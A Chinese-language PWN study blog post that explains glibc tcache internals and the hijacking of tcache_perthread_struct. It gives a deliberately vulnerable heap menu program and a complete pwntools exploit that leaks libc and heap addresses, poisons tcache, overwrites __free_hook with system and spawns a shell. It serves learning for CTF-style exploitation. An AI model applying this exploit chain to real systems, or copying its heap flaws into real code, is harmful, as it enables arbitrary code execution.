【我的 PWN 学习手札】劫持 tcache_perthread_struct

news2025/7/7 19:01:20

目录

前言

一、tcache perthread struct

二、劫持 tcache_perthread_struct

三、测试与模板


前言

        tcache 是 glibc 2.26 (ubuntu 17.10) 之后引入的一种技术,目的是提升堆管理的性能,与 fast bin 类似。 tcache 引入了两个新的结构体, tcache_entry 和 tcache_perthread_struct 。  


一、tcache perthread struct

tcache_entry 和 tcache_perthread_struct 定义如下

typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;


typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS]; // TCACHE_MAX_BINS = 64
} tcache_perthread_struct;

        tcache_entry 用于链接空闲的 chunk 结构体,其中的 next 指针指向下一个大小相同的 chunk。需 要注意的是这里的 next 指向 chunk 的 user data,而 fast bin 的 fd 指向 chunk 开头的地址。而 且, tcache_entry 会复用空闲 chunk 的 user data 部分。

二、劫持 tcache_perthread_struct

        每个 thread 都会维护一个 tcache_perthread_struct ,它是整个 tcache 的管理结构,一共有TCACHE_MAX_BINS 个计数器和 TCACHE_MAX_BINS 项 tcache_entry 。这个结构在tcache_init 函 数中被初始化在堆上,大小为 0x250(高版本为 0x290)。其中数据部分前 0x40 为counts ,剩下的为 entries 结构。如果能控制这个堆块就可以控制整个 tcache

        因此:leak 堆地址后,利用 tcache poisoning 等手法,将 tcache_perthread_struct 劫持,那么我们就可以随心所欲的实现任意地址 malloc,进而实现任意地址读写。 

三、测试与模板

首先得知道 tcache_perthread_struct 在哪里,好消息是,在堆初始化时该结构体对象生成。因此即是首个堆块。通过 unsortedbin leak,泄露 libc 以及 heap_base。

然后使用 tcache poisoning 申请到 tcache_perthead_struct。注意 tcache 的 next 指向 chunk 的 next 指针域,所以 edit 时地址应该是 heap_base+0x10。然后覆写 counts 以及 entries。 

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
context.arch=elf.arch
context.log_level='debug'

io=process('./pwn')
def add(index,size):
    io.sendlineafter(b'choice:\n',b'1')
    io.sendlineafter(b'index:\n',str(index).encode())
    io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):
    io.sendlineafter(b'choice:\n',b'2')
    io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):
    io.sendlineafter(b'choice:\n',b'3')
    io.sendlineafter(b'index',str(index).encode())
    io.sendlineafter(b'length:\n',str(length).encode())
    io.sendafter(b'content:\n',content)
def show(index):
    io.sendlineafter(b'choice:\n',b'4')
    io.sendlineafter(b'index:\n',str(index).encode())

# leak libc
add(0,0x410)
add(1,0x10)
add(2,0x410)
add(3,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x7b20ea7afca0+0x7b20ea400000
libc.address=libc_base
success(hex(libc_base))

# leak heap
delete(2)
show(2)
heap_base=u64(io.recv(6).ljust(8,b'\x00')) & ~ 0xfff
success(hex(heap_base))

# tcache poisoning
add(4,0x250)
delete(4)
# tcache_perthread_struct
edit(4,0x8,p64(heap_base+0x10))
gdb.attach(io);
add(5,0x250)
add(6,0x250)
# edit(6,64+8*64,p8(7)*64+p64(0xdeadbeef)*64)
edit(6,64+8*64,p8(7)*64+p64(libc.sym['__free_hook'])*64)
add(7,0x10)
edit(7,0x8,p64(libc.sym['system']))
edit(5,0x8,b'/bin/sh\x00')
delete(5)
pause()
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2146546.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

idear导入他人项目如何快速运行

最近idear经常导入别人的项目&#xff0c;结果永远在加载依赖项。网上查了一堆资料&#xff0c;什么jdk问题&#xff0c;环境变量问题&#xff0c;maven仓库路径问题&#xff0c;总之就是没啥用。那有没有什么简单粗暴的办法&#xff0c;能够导入项目后快速运行呢。 解决方法&a…

独立站技能树之建站33项自检清单 1.0丨出海笔记

很多时候大家建好站之后很嗨&#xff0c;但过一会就开始担忧各种纠结我是不是还有什么点没做好&#xff0c;或者我的站漏了什么东西&#xff0c;那么接下来以下这个独立站自检清单能很好的帮到你。其实对于新手我还是建议大家直接用一些模板&#xff0c;因为模板上面基本该有的…

Gitee丝滑版本:成功在新电脑添加新文件

git 关键步骤 1.首先在新电脑建一个文件夹&#xff0c;然后打开这个文件夹里面右键打开OPEN BASH GIT HERE。 2.然后输入git init&#xff0c;会在文件夹生成一个git.文件&#xff0c;接着把复制的get clone命令克隆过去就可以下载了&#xff0c;如果遇到403问题&#xff0c…

【机器学习】从数据到决策——完整的机器学习项目实战解析

【机器学习】从数据到决策——完整的机器学习项目实战解析 1. 引言 机器学习项目不仅仅是训练一个模型&#xff0c;它涉及从数据预处理到模型评估的完整流程。本文将通过一个完整的机器学习项目&#xff0c;展示从数据准备到最终决策的关键步骤。这将帮助你理解如何系统地构建…

9-----MTK专用工具 MTKpro解锁 读取分区 备份nv 檫除nv 工具预览与步骤解析

以上工具包含原版与汉化版工具。根据上面图示 可以看到此工具可以刷写mtk机型,包含有刷机的各个加载选项以及刷写方式。其中动画界面演示了无需加载任何引导。联机就可以读取到当前机型分区的演示。 工具功能选项 ★★★★★不需要任何引导直接读取mtk分区 备份 檫除 写入分…

shinyproxy部署R语言shiny APP

shinyproxy部署shiny APP经验谈 shinyAPP 是成熟的web APP框架&#xff0c;依靠R语言的数据分析功能可以构建功能丰富的&#xff0c;外表美观的web APP&#xff0c;但是APP部署是shiny APP最大的瓶颈&#xff0c;免费部署途径有诸多的限制&#xff0c;收费的部署方式价格昂贵。…

解析碳化硅MOSFET B2M030120Z的卓越性能与应用前景

碳化硅MOSFET具有优秀的高频、高压、高温性能&#xff0c;是目前电力电子领域最受关注的宽禁带功率半导体器件。在电力电子系统中应用碳化硅MOSFET器件替代传统硅IGBT器件&#xff0c;可提高功率回路开关频率&#xff0c;提升系统效率及功率密度&#xff0c;降低系统综合成本。…

【数据结构】排序算法---归并排序

文章目录 1. 定义2. 算法步骤3. 动图演示4. 性质5. 算法分析6. 代码实现C语言——迭代版C语言——递归版PythonJavaC——迭代版C——递归版Go 结语 1. 定义 归并排序&#xff08;Merge sort&#xff09;是建立在归并操作上的一种有效的排序算法。该算法是采用分治法&#xff0…

Java语言程序设计基础篇_编程练习题*18.28 (非递归目录大小)

目录 题目&#xff1a;*18.28 (非递归目录大小) 习题思路 代码示例 输出结果 题目&#xff1a;*18.28 (非递归目录大小) 不使用递归改写程序清单18-7 习题思路 &#xff08; getSize方法&#xff09; 创建一个变量表示总共的大小。传入路径&#xff0c;创建File文件。创建A…

Kafka 安全机制详解及配置指南

个人名片 &#x1f393;作者简介&#xff1a;java领域优质创作者 &#x1f310;个人主页&#xff1a;码农阿豪 &#x1f4de;工作室&#xff1a;新空间代码工作室&#xff08;提供各种软件服务&#xff09; &#x1f48c;个人邮箱&#xff1a;[2435024119qq.com] &#x1f4f1…

毕业设计选题:基于ssm+vue+uniapp的面向企事业单位的项目申报小程序

开发语言&#xff1a;Java框架&#xff1a;ssmuniappJDK版本&#xff1a;JDK1.8服务器&#xff1a;tomcat7数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/ideaMaven包&#xff1a;M…

VisionPro - 基础 - 00 模板匹配技术和在VP中的使用 - PMAlign - PatMax - (2)

前言&#xff1a; 针对PatMax 的高级应用和原理&#xff0c;在这一节进行说明&#xff1a; PatMax Patterns When you train PatMax you specify a region of interest in an image or provide a description of a shape that includes the features you want to train. If yo…

一个无聊的网页(无服务器实现网页在线人数统计)

项目简介 一个无聊且没有任何意义的网页… 无聊的时候打开这个网页&#xff0c;然后可以和这个小黄脸玩趣 &#xff08;当你的鼠标到他面前&#xff0c;他会死死盯住你的鼠标&#xff0c;手机也可以用手指代替鼠标 &#xff09; 你可以看到有多少人和你样无聊 打开方式 sil…

Centos7-rpm包管理器方式安装MySQL 5.7.25

前言 本文用于学习通过Mysql压缩包在centos7中安装和配置的过程以及过程中碰到的Bug解决。 Mysql安装包下载和上传 MySQL :: Download MySQL Community Server (Archived Versions)https://downloads.mysql.com/archives/community/访问Mysql官方下载站&#xff0c;选择对应的…

跟《经济学人》学英文:2024年09月14日这期 “The Perfect Couple” and the new map of Moneyland

“The Perfect Couple” and the new map of Moneyland Depictions of the super-rich on screen reflect the times 原文&#xff1a; FIRST, pick an approachable avatar. In “The Perfect Couple”, a glitzy new drama on Netflix, this role is played by Amelia (Ev…

【Python】探索 PluginBase:Python 插件系统的灵活构建

我承认这道菜有赌的成分&#xff0c;果然还是赌输了。 在现代软件开发中&#xff0c;插件系统为应用程序提供了极大的灵活性和扩展性。Python&#xff0c;作为一种流行的编程语言&#xff0c;拥有丰富的库和框架来支持插件的开发。今天&#xff0c;我们将深入探讨一个名为Plug…

股指期货理论价格计算公式是什么?

股指期货&#xff0c;作为金融衍生品的一种&#xff0c;其价格与现货市场的股指价格紧密相关&#xff0c;但又受到多种因素的影响。了解股指期货理论价格的计算公式&#xff0c;对于投资者进行套利交易、风险管理等具有重要意义。本文将详细解读股指期货理论价格的计算公式&…

【Java宝典】——二维数组的寻宝之旅

二维数组 二维数组的创建和打印 数据类型[ ] [ ] 数组名称 new 数据类型[行数][列数]{初始化数据}&#xff1b; import java.util.Arrays;public class DyadicArray {// 二维数组的创建和打印public static void main(String[] args) {// 直接初始化一个二维数组&#xff…

openssl 生成多域名 多IP 的数字证书

openssl.cnf 文件内容&#xff1a; [req] default_bits 2048 distinguished_name req_distinguished_name copy_extensions copy req_extensions req_ext x509_extensions v3_req prompt no [req_distinguished_name] countryName CN stateOrProvinceName GuangDong l…

Oracle VM VirtualBox仅主机(Host-0nly)网络实现外网连接

目录 1.仅主机(Host-0nly)网络介绍 1.操作步骤 2.测试​编辑 “如果您在解决类似问题时也遇到了困难&#xff0c;希望我的 经验分享 对您有所帮助。如果您有任何疑问或者想分享您的经历&#xff0c;欢迎在评论区留言&#xff0c;我们可以一起探讨解决方案。祝您在编程路上顺利…